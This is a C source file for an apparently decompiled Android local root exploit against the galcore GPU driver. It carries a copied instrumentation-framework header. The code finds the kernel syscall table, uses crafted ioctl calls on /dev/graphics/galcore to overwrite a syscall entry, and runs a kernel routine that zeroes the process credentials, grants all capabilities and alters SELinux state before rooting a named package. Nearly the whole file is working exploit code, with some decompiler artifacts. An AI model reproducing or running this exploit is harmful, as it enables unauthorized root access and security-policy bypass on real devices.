/*
 *  Collin's Binary Instrumentation Tool/Framework for Android
 *  Collin Mulliner <collin[at]mulliner.org>
 *  http://www.mulliner.org/android/
 *
 *  (c) 2012,2013
 *
 *  License: LGPL v2.1
 *  reverse by suanzi
 */

#define _GNU_SOURCE
#include <stdio.h>
#include <sys/mman.h>
#include <jni.h>
#include <fcntl.h>
#include <unistd.h>

#include <sys/types.h>
#include <sys/stat.h>
#include <stdlib.h>
#include <errno.h>
#include <sys/ioctl.h>
#include <stdbool.h>
#include <android/log.h>
#include <stdint.h>

//#define DEBUG

#ifdef DEBUG
#define printff    printf
#else
#define printff(...)
#endif


uid_t ruid,euid,suid;
gid_t rgid,egid,sgid;
int sel_enforcing;
int  found_selinux_key;;
pid_t pid;
pid_t tid;
gid_t gid;
uid_t uid;

typedef struct _hwgc_ioctl_args {
    void *data_in;
    uint32_t ff1;
    uint32_t size_in;
    uint32_t zero1;
    void *data_out;
    uint32_t ff2;
    uint32_t size_out;
    uint32_t zero2;
} hwgc_ioctl_args;

static int kallsyms_exists(const char *s)
{
    unsigned int entry_addr;
    char type;
    char sym_name[1024];
    int r;
    FILE *fp = fopen("/proc/kallsyms", "r");

    int exists = 0;

    if (fp == NULL) {
        return 0;
    }

    while (1) {
        while (1) {
            r = fscanf(fp, "%p %c %s\n", &entry_addr, &type, sym_name);
            if (r) break;
            r = fscanf(fp, "%s\n", sym_name);
        }

        if (!strcmp(s, sym_name)) {
            exists = 1;
            break;
        }

        if (r == EOF) {
            break;
        }
    }

    fclose(fp);

    return exists;
}

static int root_core()
{
   unsigned int v0; // r1@1
   unsigned int v1; // r0@4
   signed int result; // r0@8
   int v3; // r1@11
   int i; // r12@11
   int v5; // t1@14
   int v6; // r2@14
   signed int v7; // r2@19
   int v8; // t1@21
   unsigned int v9; // r1@23
   int v10; // r2@26
   int v11; // r1@26
   bool v12; // zf@26
   signed int v13; // r1@29
   signed int v14; // r4@32
   int v15; // r12@34
   signed int v16; // r1@35
   int v17; // r4@37
   int v18; // r3@46
   unsigned int v19; // [sp+2Ch] [bp-24h]@1

   v0 = *(unsigned long *)((unsigned int)&v19 & 0xFFFFE000);
   v19 = (unsigned int)&v19 & 0xFFFFE000;
   if ( v0 > 0xC0000000
       || *(unsigned long *)(((unsigned int)&v19 & 0xFFFFE000) + 4) > 0xC0000000
       || *(unsigned long *)(((unsigned int)&v19 & 0xFFFFE000) + 8) > 0xC0000000
       || (v1 = *(unsigned long *)(((unsigned int)&v19 & 0xFFFFE000) + 0xC), v1 <= 0xBFFFFFFF)
       || *(unsigned long *)(((unsigned int)&v19 & 0xFFFFE000) + 0x10) <= 0xBFFFFFFF )
   {
       result = -1;
   }
   else if ( *(unsigned long *)v1 <= 0xC0000000 && *(unsigned long *)(v1 + 4) == ((unsigned int)&v19 & 0xFFFFE000) )
   {
       v3 = *(unsigned long *)(((unsigned int)&v19 & 0xFFFFE000) + 0xC);
       for ( i = 0; ; ++i )
       {
           v5 = *(unsigned char *)v3++;
           v6 = i + 1;
           if ( v5 == 't' && *(unsigned char *)(v6 + v1) == 'e' && *(unsigned char *)(v3 + 1) == 'w' && *(unsigned char *)(v3 + 2) == 'i' )
        	   break;
           if ( v6 == 1024 )
        	   return -3;
       }
       if ( *(unsigned long *)(v1 + i - 8) <= 0xBFFFFFFF )
       {
    	   return -3;
       }
       v7 = 1;
      /*...*/
       v10 = *(unsigned long *)(v1 + i - 8);
       v11 = *(unsigned long *)(v1 + 12);
       v12 = v11 == 0x43736564;
       if ( v11 != 0x43736564 )
           v12 = v11 == 0x44656144;
       v13 = v12 != 0;
       if ( v13 )
           v14 = 16;
       else
           v14 = 4;
       v15 = *(unsigned long *)(v10 + v14);
       result = uid;
       if ( v13 )
           v16 = 4;
       else
           v16 = 1;

       v17 = v10 + v14;
       if ( v15 == uid )
       {
           result = gid;
           if ( *(unsigned long *)(v10 + 4 * (v16 + 1)) == rgid )
           {
               result = suid;
               if ( *(unsigned long *)(v10 + 4 * (v16 + 2)) == suid )
               {
                   result = sgid;
                   if ( *(unsigned long *)(v10 + 4 * (v16 + 3)) == sgid )
                   {
                       result = euid;
                       if ( *(unsigned long *)(v10 + 4 * (v16 + 4)) == euid )
                       {
                           result = egid;
                           if ( *(unsigned long *)(v10 + 4 * (v16 + 5)) == egid )
                           {
                               *(unsigned long *)(v10 + 4 * (v16 + 2)) = 0;
                               *(unsigned long *)(v10 + 4 * (v16 + 1)) = 0;
                               *(unsigned long *)v17 = 0;
                               *(unsigned long *)(v10 + 4 * (v16 + 5)) = 0;
                               *(unsigned long *)(v10 + 4 * (v16 + 4)) = 0;
                               *(unsigned long *)(v10 + 4 * (v16 + 3)) = 0;
                               *(unsigned long *)(v10 + 4 * (v16 + 7)) = 0;
                               *(unsigned long *)(v10 + 4 * (v16 + 6)) = 0;
                               *(unsigned long *)(v10 + 4 * (v16 + 10)) = -1;
                               *(unsigned long *)(v10 + 4 * (v16 + 9)) = -1;
                               *(unsigned long *)(v10 + 4 * (v16 + 12)) = -1;
                               *(unsigned long *)(v10 + 4 * (v16 + 11)) = -1;
                               *(unsigned long *)(v10 + 4 * (v16 + 14)) = -1;
                               *(unsigned long *)(v10 + 4 * (v16 + 13)) = -1;
                               *(unsigned long *)(v10 + 4 * (v16 + 16)) = -1;
                               *(unsigned long *)(v10 + 4 * (v16 + 15)) = -1;
                               if ( sel_enforcing )
                               {
                                   result = 1u;
                                   v18 = *(unsigned long *)(v10 + 4 * (v16 + 4 * found_selinux_key + 17));
                                   *(unsigned long *)v18 = 1u;
                                   *(unsigned long *)(v18 + 4) = 1u;
                               }
                               else
                               {
                                   result = 1;
                               }
                           }
                       }
                   }
               }
           }
       }
   }
   else
   {
       result = -2;
   }
   return result;
}

int galcore_exploit() {
    unsigned int p = 0xffff0000;
    unsigned int syscall_num = 0x10f;
    
	unsigned int v10, v11, v13, v14;
	int v12;
	int ret;    
    hwgc_ioctl_args args = {0}; 
    int buf_in[42];
    int buf_out[42];
    int buf_in2[34];
    int buf_out2[34];
    unsigned int v21;
    
	// find sys_call_table and locate 0x10f/0x110
	while (p < 0xffff1000) {
		unsigned int v9 = *((unsigned int *)p);
		if ((v9 & 0xfffff000) == 0xE59FF000) {
			if ((v9 & 0xfff) > 0xf00) {
				return 1;
			}

			v10 = *((unsigned int *)(p + 4 + (v9 & 0xfff) + 4));
			break;
		}
		p += 4;
	}
    v11 = v10 + 112;
    if (prctl(21, 0, 0, 0) >= 0) {
        v11 += 136;
    }

    v12 = kallsyms_exists("sys_oabi_semop");//use framewok 'ksymbol_kallsyms_lookup' failed
    if (v12) {
        v11 += 28;
    }

    v13 = ((v11 + 99) & 0xFFFFFFE0) + 8; // SYSCALL table
    printf("syscall table addr:%p\n", v13);
    
	int fd = open("/dev/graphics/galcore", O_RDWR);
	if(fd <= 0){
		printff("fd error\n");
		return 1;
	}
    
	unsigned int addr = v13 + syscall_num * 4;
	printff("syscall addr:%08x\n",addr);
    
    char* address = mmap(0, 0x6000000u, 3, 34, -1, 0);
    int v20 = 0;
    if ( address == (void *)-1 )
    {
      close(fd);
      exit(1);
    }
    do
    {
      *(unsigned int *)((char *)address + v20) = v20;
      v20 += 4;
    } while ( v20 != 0x6000000 );

    // suanzi ------------------------------------------------------

    args.data_in = buf_in;
    args.size_in = 0xA8;
    args.data_out = buf_out;
    args.size_out = 0xA8;
    args.ff1 = 0xffffffff;
    args.ff2 = 0xffffffff;

    memset(buf_in, 0, 0xA8u);
    memset(buf_out, 0, 0xA8u);
    buf_in[0] = 0x1B;
    
    if (ioctl(fd, 0x7530u, &args) >= 0) { // tested
        memset(buf_in, 0, 0xA8u);
        memset(buf_out, 0, 0xA8u);
        buf_in[8] = (unsigned int)((char *)address + 0x30000000);
        buf_in[0] = 0x15;
        if (ioctl(fd, 0x7530u, &args) >= 0) {
            v21 = buf_out[9];
            printff("[exp]v21: %x\n", v21);
            memset(buf_in, 0, 0xA8u);
            memset(buf_out, 0, 0xA8u);
            buf_in[0] = 0x16;
            buf_in[8] = addr - v21 + 0x30000000; // write kernel addr
            buf_in[9] = root_core; // sub_root_core      // write u4 value
            printff("[exp]addr2: %x value %.8x\n", buf_in[8],root_core);
            if (ioctl(fd, 0x7530u, &args) >= 0) {
                munmap(addr, 0x6000000u);
                close(fd);
                ret = syscall(0x10f) ;
                if (ret== 1) {
                	printff("[exp]successed\n");
                	return 0;
                }

            }
        }
    } else {
        args.data_in = buf_in2;
        args.size_in = 0x80;
        args.data_out = buf_out2;
        args.size_out = 0x80;

        memset(buf_in2, 0, 0x88u);
        memset(buf_out2, 0, 0x88u);
        buf_in2[0] = 0x1B;
        if (ioctl(fd, 0x7530u, &args) >= 0) {
            memset(buf_in2, 0, 0x88u);
            memset(buf_out2, 0, 0x88u);
            buf_in2[0] = 0x15;
            buf_in2[6] = (unsigned int)((char *)address + 0x6000000);
            if (ioctl(fd, 0x7530u, &args) >= 0) {
                v21 = buf_out[9];
                memset(buf_in2, 0, 0x88u);
                memset(buf_out2, 0, 0x88u);
                buf_in2[0] = 0x16;
                buf_in2[6] = addr - v21 + 0x6000000; // write kernel addr
                buf_in2[7] = root_core;                      // write u4 value
                if (ioctl(fd, 0x7530u, &args) >= 0) {
                	   munmap(addr, 0x6000000u);
                	    close(fd);
                	    if (syscall(0x10f) == 1) {
                	         printff("[exp]successed\n");
                	         return 0;
                	     }

                }
            }
        }
    }

    // suanzi ------------------------------------------------------

    return 1;
}

int sub_9594() {
    int rs = 0;
    struct stat *buf;
    stat("/proc/key-users", &buf) ? (rs = 0) : (rs = 4);
    return rs;
}

int galcore_main(){
	int fd;
	int v20;
	struct stat s_stat;
	uid = getuid();
	pid = getpid();
	gid = getgid();

	getresuid(&ruid, &euid, &suid);
	getresgid(&rgid, &egid, &sgid);

	prctl(15, "tewilovesyouyet", 0, 0, 0);

	fd = open("/sys/fs/selinux/enforce", 0);                      //read
	if (fd < 0)
	{
		if (!stat("/sys/fs/selinux", (struct stat *) &s_stat)
				&& (s_stat.st_uid & 0xF000) == 0x4000)
		{
			v20 = 1;
			sel_enforcing = 1;
			if (!found_selinux_key) {
				found_selinux_key = sub_9594();
			}
		}
		else
		{
			int ret;
			unsigned int v25 = 0;
			ret = read(fd, &v25, 4);
			close(fd);
			if (ret >= 0 && sscanf(&v25, "%d", &v20) != 1) {
				sel_enforcing = 0;
			} else {
				sel_enforcing = v20;
				if (v20) {
					if (!found_selinux_key) {
						found_selinux_key = sub_9594();
					}
				}
			}
		}
		close(fd);
	}
	galcore_exploit();
	uid = getuid();
	printff("uid:%d\n", uid);

	return 0;
}

extern int runrt(int uid, const char* pszPkgName, const char* pszRootName);

void do_root(int argc, const char **argv)
{
	printf("runrt(%d, '%s', '%s')\n", atoi(argv[1]), argv[2], argv[3]);
	runrt( atoi(argv[1]), argv[2], argv[3] );
}

int main(int argc, const char **argv)
{
	int uid = 0, ret = 0, wait_time = 60, pid = 0;

	check_parent_pid();
	if(argc < 4) return 1;

	galcore_main();
	ret = (getuid() == 0);

	if(ret) {
		do_root(argc, argv);
	}
	return ret? 0:1;
}



